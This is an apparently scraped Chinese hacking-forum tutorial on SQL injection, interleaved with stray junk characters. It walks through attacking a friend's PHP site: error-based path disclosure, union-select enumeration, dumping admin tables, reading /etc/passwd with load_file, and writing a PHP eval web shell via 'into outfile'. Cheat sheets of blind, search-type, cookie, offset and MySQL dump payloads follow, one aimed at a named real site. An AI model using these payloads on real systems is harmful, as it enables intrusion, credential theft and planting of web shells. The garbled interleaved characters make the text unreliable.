我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
- s+ s6 B; G t g s: n让我看看,既然人家开口了,我也不好拒绝,那就看看吧?: M# u/ a. T+ F1 y5 i
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
4 p7 }1 Z8 k1 A/ r- w2 n( n2 V如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)$ F: V/ s. _, O+ ]: j# A
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)/ Z! s- q% ~) R/ D2 S
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
/ K4 h. @9 [" F+ j6 NWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
: G) q- R; t( e+ i6 r8 F" a0 u/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
3 \7 P/ U( g. m1 x! P & V' ?1 B6 F3 k+ w, ^) x, X9 E
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,6 r+ i% [ A' B! s# N
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
* F2 M$ a; `% F3 S3 j. t6 ]4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息2 C0 K0 O& F6 A$ o0 q
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。% ~! c, f8 L2 I9 j
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
5 Y* S3 B; n, \- d2 u( r2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
& l3 c6 E' f* `9 Z* x+ ~: D2 M: f我就用的是第二个思路,
" q |" D+ L5 V- @& }* P7 z提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- ( Z |7 l4 M+ A2 Q3 a
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
1 R/ L- R, l1 k0 b* k提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
; }/ o* s7 x0 J1 p注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
" J# a5 b9 \6 ]% o. D$ {& Q( M {7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
) `0 s) I, E. n$ b R6 O7 D是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
' Y) x1 S2 f: O/ x/ |" A提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
' q6 O( Q8 F: \" ?4 f然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,8 V: J' b; j/ r. m9 P
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......, [2 U3 G. a8 N! ~& Y
下面是一些很普遍注入方式资料:. X1 y: h% i6 K* D$ o3 O
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='2 Z, t% ~1 z& j H+ B
拆半法
1 h! t& h! x7 m& o######################################
4 K4 V1 e! W* l. iand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
- a1 D7 `. K/ mand exists (select * from admin)
, ]1 ]- P! ?% B' ^5 o4 Vand exists(select id from admin)9 N+ a! n- e$ Q, F) o# W- J& `
and exists(select id from admin where id=1)+ A q/ q% V5 {9 W& W I& s
and exists(select id from admin where id>1) * m+ P0 L) Q* g/ ?: O6 {* I
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 ; ]% v; `0 V7 m. J
and exists (select username from admin); l* |% C4 l. {+ ?$ x& Y
and exists (select password from admin)8 J) J. j. ^: i) O
and exists (select id from admin where len(username)<10 and id=1)* a# [4 q+ v! X
and exists (select id from admin where len(username)>5 and id=1)) u) |8 \7 o+ n& R
and exists (select id from admin where len(username)=6 and id=1)
- y0 J& ~; f5 w, Vand exists (select id from admin where len(password)<10 and id=1)
. I2 I0 u" B4 {and exists (select id from admin where len(password)>5 and id=1)' @$ y. y1 i2 ]
and exists (select id from admin where len(password)=7 and id=1)3 ~7 G0 V C0 H2 P0 F; U
and (select top 1 asc(mid(username,1,1)) from admin)=978 I/ u0 x- x! T: x$ S# s# r3 m$ M
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
! o9 Y& r0 S" A; H0 l( \# S3 ]猜第二位把username,1,1改成username,2,1就可以了。( L1 _! ~; `! P1 P7 s! @
猜密码把username改成password就OK了
2 I2 K: ^4 f/ G% D+ `) u" u##################################################% b% W$ s# e# Y+ B
搜索型注入
. p# d1 _2 A* R- O8 B z4 X3 l, V##################################' t1 n9 |! H F1 t* \
%' and 1=1 and '%'='6 G! ?. s5 G1 _" h/ y# X
%' and exists (select * from admin) and '%'='$ T4 r R- p) F1 `; E6 F. ]
%' and exists(select id from admin where id=1) and '%'='3 s7 |- k" w p9 J4 a& e2 \5 C
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='( H9 c2 p3 f# M* k# p* ?8 f
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
5 B% w6 P+ B2 |%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
& n) K& L5 Q& o n% h这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
% {5 x0 E$ x5 e% [: ~对于MSSQL数据库,后面可以吧 and '%'='换成--& \& @. m8 k" g2 B
还有一点搜索型注入也可以使用union语句。
- V9 R. d9 R# O( _########################################################. F0 n! d9 [3 Y( K* _) P3 f# V! X
联合查询。
: W2 p& k$ v! {0 G1 l#####################################* s6 \+ J; F( @ j9 ]- o* `
order by 10 U. r$ y k$ l5 ]' m
and 1=2 union select 1,2,3,4,5,6,7,8,9,10# ^# L1 F+ E' A& `/ E* T, l
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
4 s4 f. N! \; H( K5 \; c( Kand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1" i8 }1 m$ ]* O, `- r
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
4 X, P w$ E |' t###################################% w1 T6 g$ Z, M4 ?8 Q
cookie注入
9 f: y3 w. G: u0 p###############################2 U, x- v8 T8 r% A" E0 R7 i8 c
http://www.******.com/shownews.asp?id=1279 W9 |$ z5 \& a: \) h, O+ x- |
http://www.******.com/shownews.asp8 G: w- ^$ i( a8 v) n: t' I- j7 G
alert(="id="+escape("127"));) y5 ]6 o: ^0 P4 |
alert(="id="+escape("127 and 1=1"));
" r5 `5 `, H6 S. l5 Z |3 R& aalert(="id="+escape("127 order by 10"));# G n$ L8 L' N% Q' P
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));6 o% ]( r0 \& t, n! ?* z
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
6 l9 p: Y& h/ q3 A' i* }这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
5 S" M2 b" f) x; [2 Z###################################8 E7 d/ I. l. {7 y4 N9 ^( H
偏移注入
# ~) U. o3 a+ Z8 X# O###########################################################
- Z0 z3 q: y+ w8 u, cunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin) w: r6 {" W' F3 q& w# C4 t a6 }
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
7 Q, @( g/ O- Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
# s; S& `/ ^' Y5 F1 x9 `: o `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id). b7 y. [# l3 |1 d" R- j- T
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
& r$ `* w. Z% b' E. H4 A. Wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
7 a' B* g+ U% P+ T- D0 tunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
2 t5 L( {6 y0 Ya.id=d.id)
& b5 F+ Z; m: z3 j3 P3 iand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)- D9 O. u4 X1 m- D" c9 c U
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% N& \ s$ r7 F! `& ]& \. P
# S1 c6 p# G9 ~( d) o% Y+ W============================================================================================================2 G, _- P0 _2 j r, E
1.判断版本
- U) G5 b4 I( }. F4 O4 C2 f) ~; Gand ord(mid(version(),1,1))>51
! F! G7 C8 {5 T/ G" T返回正常,说明大于4.0版本,支持ounion查询- C9 q% v+ z7 c) y4 q/ M
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解! |/ S; i( @+ O5 g' e
and 2=4 union select 1,2,3,4,5,6,7,8,9--
- V# j9 _( p: ^0 u) }. K3.查看数据库版本及当前用户,- u/ `- A- B( l9 y& [
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--6 u% m: \+ w4 d* t0 d
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,6 a+ p4 W, k( z
4.判断有没有写权限
: v4 p+ q. N8 r% t# M- z# Q' p8 @and (select count(*) from MySQL.user)>0--
( v, C3 V j6 Z) y% R# V' q5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
5 M8 E& b. t, v! X4 y用不了这个命令,就学习土耳其黑客手法,如下. x+ v3 X$ n5 R$ ]- q8 m$ e# J' w
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
0 C% z# i! A8 m6.爆表,爆库2 \" _/ w7 [4 O2 q
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
0 }2 Q+ G5 F: P7 T) ~. x v7.爆列名,爆表
3 P# ?5 X! N% n- ~and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--1 x+ b1 [& o* x9 }$ j. [
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。! F2 Y/ s. W( V; y
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
" T& T) Q+ O; j. O) E, _' b9.爆字段内容0 }7 v9 q5 D" l' i8 T" h
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
! x' S4 y7 Y* Ghttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |